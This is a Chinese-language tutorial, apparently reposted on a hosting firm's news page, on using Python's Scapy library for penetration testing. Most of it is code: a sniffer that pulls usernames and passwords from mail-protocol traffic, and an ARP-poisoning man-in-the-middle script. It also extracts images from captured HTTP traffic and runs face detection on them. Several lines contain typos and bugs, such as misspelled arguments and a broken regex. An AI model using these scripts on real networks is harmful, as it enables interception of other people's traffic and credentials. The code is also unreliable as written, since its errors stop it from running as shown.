您好,登錄后才能下訂單哦!
這篇文章主要介紹了Python滲透測試入門之Scapy庫如何使用的相關(guān)知識,內(nèi)容詳細易懂,操作簡單快捷,具有一定借鑒價值,相信大家閱讀完這篇Python滲透測試入門之Scapy庫如何使用文章都會有所收獲,下面我們一起來看看吧。
Scapy 是一個用來解析底層網(wǎng)絡(luò)數(shù)據(jù)包的Python模塊和交互式程序,該程序?qū)Φ讓影幚磉M行了抽象打包,使得對網(wǎng)絡(luò)數(shù)據(jù)包的處理非常簡便。該類庫可以在在網(wǎng)絡(luò)安全領(lǐng)域有非常廣泛用例,可用于漏洞利用開發(fā)、數(shù)據(jù)泄露、網(wǎng)絡(luò)監(jiān)聽、入侵檢測和流量的分析捕獲的。Scapy與數(shù)據(jù)可視化和報告生成集成,可以方便展示起結(jié)果和數(shù)據(jù)。
Scapy提供了一個名字簡明扼要的接口函數(shù)sniff,它的定義是這樣的:
sniff(filter = " ", iface = "any", prn = function, count = N)
filter參數(shù)允許你指定一個Berkeley數(shù)據(jù)包過濾器(Berkeley Packet Filter,BPF),用于過濾Scapy嗅探到的數(shù)據(jù)包,也可以將此參數(shù)留空,表示要嗅探所有的數(shù)據(jù)包。
iface參數(shù)用于指定嗅探器要嗅探的網(wǎng)卡,如果不設(shè)置的話,默認會嗅探所有網(wǎng)卡。prn參數(shù)用于指定一個回調(diào)函數(shù),每當遇到符合過濾條件的數(shù)據(jù)包時,嗅探器就會將該數(shù)據(jù)包傳給這個回調(diào)函數(shù),這是該函數(shù)接受的唯一參數(shù)。count參數(shù)可以用來指定你想嗅探多少包,如果留空的話,Scapy就會一直嗅探下去。
mail_sniffer.py:
from scapy.all import sniff def packet_callback(packet): print(packet.show()) def main(): sniff(pro=packet_callback, count=1) if __name__ == '__main__': main()
在這個簡單的嗅探器中,它只會嗅探郵箱協(xié)議相關(guān)的命令。
接下來我們將添加過濾器和回調(diào)函數(shù)代碼,有針對性地捕獲和郵箱賬號認證相關(guān)的數(shù)據(jù)。
首先,我們將設(shè)置一個包過濾器,確保嗅探器只展示我們感興趣的包。我們會使用BPF語法(也被稱為Wireshark風格的語法)來編寫過濾器。你可能會在tcpdump、Wireshark等工具中用到這種語法。先來講一下基本的BPF語法。在BPF語法中,可以使用三種類型的信息:描述詞(比如一個具體的主機地址、網(wǎng)卡名稱或端口號)、數(shù)據(jù)流方向和通信協(xié)議,如圖所示。你可以根據(jù)自己想找的數(shù)據(jù),自由地添加或省略某個類型、方向或協(xié)議。
我們先寫一個BPF:
from scapy.all import sniff, TCP, IP #the packet callback def packet_callback(packet): if packet[TCP].payload: mypacket = str(packet[TCP].paylaod) if 'user' in mypacket.lower() or 'pass' in mypacket.lower(): print(f"[*] Destination: {packet[IP].dst}") print(f"[*] {str(packet[TCP].payload)}") def main(): #fire up the sniffer sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',prn=packet_callback, store=0) #監(jiān)聽郵件協(xié)議常用端口 #新參數(shù)store,把它設(shè)為0以后,Scapy就不會將任何數(shù)據(jù)包保留在內(nèi)存里 if __name__ == '__main__': main()
邏輯:欺騙目標設(shè)備,使其相信我們是它的網(wǎng)關(guān);然后欺騙網(wǎng)關(guān),告訴它要發(fā)給目標設(shè)備的所有流量必須交給我們轉(zhuǎn)發(fā)。網(wǎng)絡(luò)上的每一臺設(shè)備,都維護著一段ARP緩存,里面記錄著最近一段時間本地網(wǎng)絡(luò)上的MAC地址和IP地址的對應(yīng)關(guān)系。為了實現(xiàn)這一攻擊,我們會往這些ARP緩存中投毒,即在緩存中插入我們編造的記錄。
注意實驗的目標機為mac
arper.py:
from multiprocessing import Process from scapy.all import (ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap) import os import sys import time def get_mac(targetip): packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip) resp, _= srp(packet, timeout=2, retry=10, verbose=False) for _, r in resp: return r[Ether].src return None class Arper: def __init__(self, victim, gateway, interface='en0'): self.victim = victim self.victimmac = get_mac(victim) self.gateway = gateway self.gatewaymac = get_mac(gateway) self.interface = interface conf.iface = interface conf.verb = 0 print(f'Initialized {interface}:') print(f'Gateway ({gateway}) is at {self.gateway}') print(f'Victim ({victim}) is at {self.gatewaymac}') print('_'*30) def run(self): self.poison_thread = Process(target=self.poison) self.poison_thread.start() self.sniff_thread = Process(target=self.sniff) self.sniff_thread.start() def poison(self): poison_victim = ARP() poison_victim.op = 2 poison_victim.psrc = self.gateway poison_victim.pdst = self.victim poison_victim.hwdst = self.victimmac print(f'ip src: {poison_victim.psrc}') print(f'ip dst: {poison_victim.pdst}') print(f'mac dst: {poison_victim.hwdst}') print(f'mac src: {poison_victim.hwsrc}') print(poison_victim.summary()) print('_'*30) poison_gateway = ARP() poison_gateway.op = 2 poison_gateway.psrc = self,victim poison_gateway.pdst = self.gateway poison_gateway.hwdst = self.gatewaymac print(f'ip src: {poison_gateway.psrc}') print(f'ip dst: {poison_gateway.pdst}') print(f'mac dst: {poison_gateway.hwdst}') print(f'mac_src: {poison_gateway.hwsrc}') print(poison_gateway.summary()) print('_'*30) print(f'Beginning the ARP poison. [CTRL -C to stop]') while True: sys.stdout.write('.') sys.stdout.flush() try: send(poison_victim) send(poison_gateway) except KeyboardInterrupt: self.restore() sys.exit() else: time.sleep(2) def sniff(self, count=200): time.sleep(5) print(f'Sniffing {count} packets') bpf_filter = "ip host %s" % victim packets = sniff(count=count, filter=bpf_filter, ifcae=self.interface) wrpcap('arper.pcap', packets) print('Got the packets') self.restore() self.poison_thread.terminate() print('Finished') def restore(self): print('Restoring ARP tables...') send(ARP( op=2, psrc=self.gateway, hwsrc=self.gatewaymac, pdst=self.victim, hwdst='ff:ff:ff:ff:ff:ff'), count=5) send(ARP( op=2, psrc=self.victim, hwsrc=self.victimmac, pdst=self.gateway, hwdst='ff:ff:ff:ff:ff:ff'), count=5) if __name__ == '__main__': (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3]) myarp = Arper(victim, gateway, interface) myarp.run()
recapper.py:
from scapy.all import TCP, rdpcap import collections import os import re import sys import zlib OUTDIR = '/root/Desktop/pictures' PCAPS = '/root/Downloads' Response = collections.namedtuple('Response', ['header','payload']) def get_header(payload): try: header_raw = payload[:payload.index(b'\r\n\r\n')+2] except ValueError: sys.stdout.write('_') sys.stdout.flush() return None header = dict(re.findall(r'?P<name>.*?): (?P<value>.*?)\r\n', header_raw.decode())) if 'Content-Type' not in header: return None return header def extract_content(Response, content_name='image'): content, content_type = None, None if content_name in Response.header['Content-Type']: content_type = Response.header['Content-Type'].split('/')[1] content = Response.payload[Response.payload.index(b'\r\n\r\n')+4:] if 'Content-Encoding' in Response.header: if Response.header['Content-Encoding'] == "gzip": content = zlib.decompress(Response.payload, zlib.MAX_wbits | 32) elif Response.header['Content-Encoding'] == "deflate": content = zlib.decompress(Response.payload) return content, content_type class Recapper: def __init__(self, fname): pcap = rdpcap(fname) self.session = pcap.session() self.responses = list() def get_responses(self): for session in self.session: payload = b'' for packet in self.session[session]: try: if packet[TCP].dport == 80 or packet[TCP].sport == 80: payload += bytes(packet[TCP].payload) except IndexError: sys.stdout.write('x') sys.stdout.flush() if payload: header = get_header(payload) if header is None: continue self.responses.append(Response(header=header, payload=payload)) def write(self, content_name): for i, response in enumerate(self.responses): content, content_type = extract_content(response, content_name) if content and content_type: fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}') print(f'Writing {fname}') with open(fname, 'wb') as f: f.write(content) if __name__ == '__main__': pfile = os.path.join(PCAPS, 'pcap.pcap') recapper = Recapper(pfile) recapper.get_responses() recapper.write('image')
如果我們得到了一張圖片,那么我們就要對這張圖片進行分析,檢查每張圖片來確認里面是否存在人臉。對每張含有人臉的圖片,我們會在人臉周圍畫一個方框,然后另存為一張新圖片。
detector.py:
import cv2 import os ROOT = '/root/Desktop/pictures' FACES = '/root/Desktop/faces' TRAIN = '/root/Desktop/training' def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN): for fname in os.listdir(srcdir): if not fname.upper().endswith('.JPG'): continue fullname = os.path.join(srcdir, fname) newname = os.path.join(tgtdir, fname) img = cv2.imread(fullname) if img is None: continue gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) training = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml') cascade = cv2.CascadeClassifier(training) rects = cascade.detectMultiScale(gray, 1.3,5) try: if rects.any(): print('Got a face') rects[:, 2:] += rects[:, :2] except AttributeError: print(f'No faces fount in {fname}') continue # highlight the faces in the image for x1, y1, x2, y2 in rects: cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2) cv2.imwrite(newname, img) if name == '__main__': detect()
關(guān)于“Python滲透測試入門之Scapy庫如何使用”這篇文章的內(nèi)容就介紹到這里,感謝各位的閱讀!相信大家對“Python滲透測試入門之Scapy庫如何使用”知識都有一定的了解,大家如果還想學(xué)習(xí)更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。